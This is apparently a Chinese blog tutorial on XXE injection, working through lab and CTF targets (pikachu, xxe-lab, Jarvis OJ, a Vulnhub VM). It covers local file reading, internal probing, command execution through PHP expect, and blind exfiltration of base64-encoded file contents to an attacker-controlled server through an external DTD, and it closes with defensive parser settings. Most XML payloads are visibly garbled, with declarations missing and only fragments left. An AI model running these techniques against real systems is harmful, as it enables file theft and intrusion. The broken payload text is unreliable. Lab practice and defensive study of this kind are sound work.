目录
XML讲解
漏洞利用
xxe-lab 靶场登陆框 xml 数据传输测试-检测发现
CTF-Jarvis-OJ-Web-XXE 安全真题复现-数据请求格式
CTF-Vulnhub-XXE 安全真题复现-检测,利用,拓展,实战
XXE 漏洞修复与防御方案-php,java,python-过滤及禁用
XML定义:XML被设计为传输和存储数据,XML文档结构包括XML声明,DTD文档类型定义(可选),文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。
XML与HTML对比:
1.XML被设计用来传输和存储数据,焦点是数据的内容。HTML被设计为显示数据,及焦点是数据的外观。
2.XML旨在传输信息。而HTML旨在显示信息。
XXE漏洞
全称:XML External Entity Injection
xml外部实体注入漏洞,XXE漏洞发生在应用程序解析xml输入时,没有禁止外部实体的加载,导致可加载恶意外部文件
带来的危害有哪些:
1.DOS攻击
2.SSRF攻击
3.使用file协议读取任意文件
4.端口探测
5.执行系统命令
下面为一些脚本支持的协议
XML典型代码
]]]>
Dave
Tom
Reminder
You are a good man
DTD
DTD的作用就是用来定义XML文档的合法构建模块DTD可以在XML文档内声明,也可以在外部引用。
内部声明DTD 外部声明DTD 或者
在确认有XXE漏洞存在时,存在输入接口
如:pikachu靶场中xxe漏洞处
玩法-读取文件
]>
&xxe;
//xxe为变量,读取test.txt,利用file协议,后面为文件所在位置
//输出出来
玩法-内网探针或攻击内网应用(触发漏洞地址)
实际应用中基本碰不到
可以判断对方是否存在该文件,及端口
前提条件
]>
&rabbit;
//这里后面应该为文件,不能为网址
玩法-RCE
该 CASE 是在安装 expect 扩展的 PHP 环境里执行系统命令
]>
&xxe;
玩法-引入外部实体 DTD
%file;
]>
&send;
//evil2.dtd
关系
前面几个实例都是结果进行了回显
无回显-读取文件(本地环境测试)
php://filter/read=convert.base64-encode/resource=d:/test.txt">
evil2.dtd">
%dtd;
%send;
]>evil2.dtd
"?data=%file;'>"
>
%payload;//相当于读了文件放在你指定地址的服务器上,所以日志是你指定服务器上的日志
打开pikachu靶场xxe所在的代码 默认vul\xxe\xxe_1.php
暂时注释箭头所处部分,就相当于无回显
打开apache的设置文件httpd.conf,customlog前有注释的去掉注释
在php扩展中开启log_config_module
打开access.log文件
进行base64解密得到文本内容 5oiR54ix5ZCD55OcIQ==
取消刚才的注释
利用:让对方访问你的网站,生成日志查看
协议-读文件(绕过)
参考文章:CTF XXE - MustaphaMond - 博客园 XML讲解,绕过等
]>
&f;
靶场下载地址:https://github.com/c0ny1/xxe-lab
例:php-xxe
如何检测:(burp抓包send to spider输入关键字爬行查看)MIME type: XML
1.数据格式类型:如果发现有
若有回显,可以进行测试,随便输入标签看是否回显相应的值如
2.抓包发现 content-type中是 text/xml 或者 application/xml
3.更改Content-Type值看返回值
]>
&test; Mikasa
更改Content-Type值看返回值 原数据包:application/json 修改为:application/xml
http://web.jarvisoj.com:9882/
]>
&f;
扫描 IP 及端口->扫描探针目录->抓包探针 xxe 安全->利用 xxe 读取源码->flag 指向文件->base32 64 解
密->php 运行->flag
下载地址:https://download.vulnhub.com/xxe/XXE.zip
下载解压以vm运行.ovf文件导入即可
(1)如图,为环境搭建好之后的状态,暂时什么都未知
(2)攻击机kali,查看ip
(3)使用nmap扫描网段,看到可疑IP,发现80端口开放
(5) 使用kali工具dirsearch对网站进行目录扫描,发现敏感文件robots.txt
下载使用:kali安装dirsearch工具以及使用_一颗努力的小白菜的博客-CSDN博客_kali安装dirsearch
python3 dirsearch.py -u http://192.168.80.128 -e*
(6)访问192.168.159.223/robots.txt,再次发现两个敏感文件,依次访问
admin.php
由上面访问的结果来看,xxe文件可以访问,但是admin.php文件访问失败,但是文件存在,其中必定由猫腻,我们先对xxe页面进行渗透看看
1.burp抓包
2.构造payload,成功验证出存在XXE漏洞注入
3.因为前面扫描出存在admin.php文件,但是无法访问,我们可以通过这里的XXE注入,读取admin.php文件。构造如图,成功读取到admin.php源码
]>
&name; 1
//使用php://filter/read/convert.base64-encode/resource=admin.php的好处就是不用考虑文件完整目录
5.从php源码可找出又存在一个敏感文件,并可以通过得到的账号administhebest和密码登录,密码使用md5加密,解密得admin@123即可
6.尝试登录/xxe/admin.php,点击flag
因为当时burp抓包时是在xxe目录下查找到的,所以登录时要用xxe/admin.php
7.最后得到flag的网站,访问再次失败,直接再次使用XML注入获取源码即可,如图
base64解密
通过判断,这里得加密方式为base32,先base32解密后再使用base64解密,最后得出存在flag得路径
7.访问路径,base64解密
8.使用php语言写的,php在线运行得到flag为SAFCSP{xxe_is_so_easy}
xxe 安全漏洞自动化注射脚本工具-XXEinjector(Ruby)
https://github.com/enjoiz/XXEinjector
7.XXEinjector:一款功能强大的自动化XXE注射工具 - bmjoker - 博客园
方法一:禁用外部实体
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf
=DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方法二:过滤用户提交的XML数据
过滤关键词:
参考文章:第39天-WEB 漏洞-XXE&XML 之利用检测绕过全解_IsecNoob的博客-CSDN博客
vulnhub XXE靶场复现_向开花的博客-CSDN博客_xxe漏洞靶场